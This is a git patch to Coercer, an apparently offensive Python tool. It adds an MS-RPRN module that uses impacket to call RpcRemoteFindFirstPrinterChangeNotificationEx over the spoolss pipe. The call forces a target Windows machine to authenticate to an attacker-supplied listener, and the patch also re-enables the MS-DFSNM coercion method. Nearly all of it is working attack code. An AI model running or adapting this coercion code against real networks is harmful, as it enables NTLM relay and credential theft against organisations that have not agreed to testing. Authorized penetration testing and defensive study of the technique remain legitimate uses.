From d7e19bd06bb28c9e69e255d70815437e8b23a43f Mon Sep 17 00:00:00 2001 From: p0dalirius Date: Sat, 9 Jul 2022 23:07:05 +0200 Subject: [PATCH] Implemented MS-RPRN:RpcRemoteFindFirstPrinterChangeNotificationEx, fixes #5 --- coercer.py | 5 ++- lib/protocols/MS_RPRN.py | 65 +++++++++++++++++++++++++++++++++++++++ lib/protocols/__init__.py | 1 + 3 files changed, 68 insertions(+), 3 deletions(-) create mode 100644 lib/protocols/MS_RPRN.py diff --git a/coercer.py b/coercer.py index cd837d9..f0f88d9 100755 --- a/coercer.py +++ b/coercer.py @@ -9,7 +9,7 @@ import os import sys -from lib.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM +from lib.protocols import MS_EFSR, MS_FSRVP, MS_DFSNM, MS_RPRN from lib.utils.smb import connect_to_pipe, can_bind_to_protocol, get_available_pipes_and_protocols @@ -102,8 +102,7 @@ def coerce_auth_target(options, target, lmhash, nthash, all_pipes, available_pro available_protocols = [ - #MS_DFSNM, - MS_EFSR, MS_FSRVP + MS_DFSNM, MS_EFSR, MS_FSRVP, MS_RPRN ] diff --git a/lib/protocols/MS_RPRN.py b/lib/protocols/MS_RPRN.py new file mode 100644 index 0000000..2d09a1e --- /dev/null +++ b/lib/protocols/MS_RPRN.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# File name : MS_RPRN.py +# Author : Podalirius (@podalirius_) +# Date created : 9 Jul 2022 + + +import sys +from .RPCProtocol import RPCProtocol, DCERPCSessionError +from impacket.dcerpc.v5 import transport, rprn +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT +from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, LONG, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR, GUID +from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY + + +class MS_RPRN(RPCProtocol): + name = "[MS-RPRN]: Print System Remote Protocol" + shortname = "MS-RPRN" + uuid = "12345678-1234-ABCD-EF00-0123456789AB" + version = "1.0" + available_pipes = [r"\PIPE\spoolss"] + + def RpcRemoteFindFirstPrinterChangeNotificationEx(self, listener, max_retries=3): + # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d + # Finding credits: + call_name, call_opnum = "RpcRemoteFindFirstPrinterChangeNotificationEx", 65 + if self.dce is not None: + tries = 0 + while tries <= max_retries: + tries += 1 + print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="") + sys.stdout.flush() + try: + resp = rprn.hRpcOpenPrinter(self.dce, '\\\\%s\x00' % self.target) + + request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() + request['hPrinter'] = resp['pHandle'] + request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB + request['pszLocalMachine'] = '\\\\%s\x00' % listener + request['pOptions'] = NULL + if self.debug: + request.dump() + resp = self.dce.request(request) + except Exception as e: + if "rpc_s_access_denied" in str(e): + # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied + print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m") + return False + else: + print("\x1b[1;91m%s\x1b[0m" % str(e)) + if self.debug: + pass + else: + if self.verbose: + print("[!] Error: dce is None, you must call connect() first.") + + @classmethod + def list_coerce_methods(cls): + return [ + ("RpcRemoteFindFirstPrinterChangeNotificationEx", 65, None) + ] + + def perform_coerce_calls(self, listener): + if listener is not None: + self.RpcRemoteFindFirstPrinterChangeNotificationEx(listener) diff --git a/lib/protocols/__init__.py b/lib/protocols/__init__.py index 4f0309e..cf7552e 100644 --- a/lib/protocols/__init__.py +++ b/lib/protocols/__init__.py @@ -7,3 +7,4 @@ from .MS_DFSNM import MS_DFSNM from .MS_EFSR import MS_EFSR from .MS_FSRVP import MS_FSRVP +from .MS_RPRN import MS_RPRN \ No newline at end of file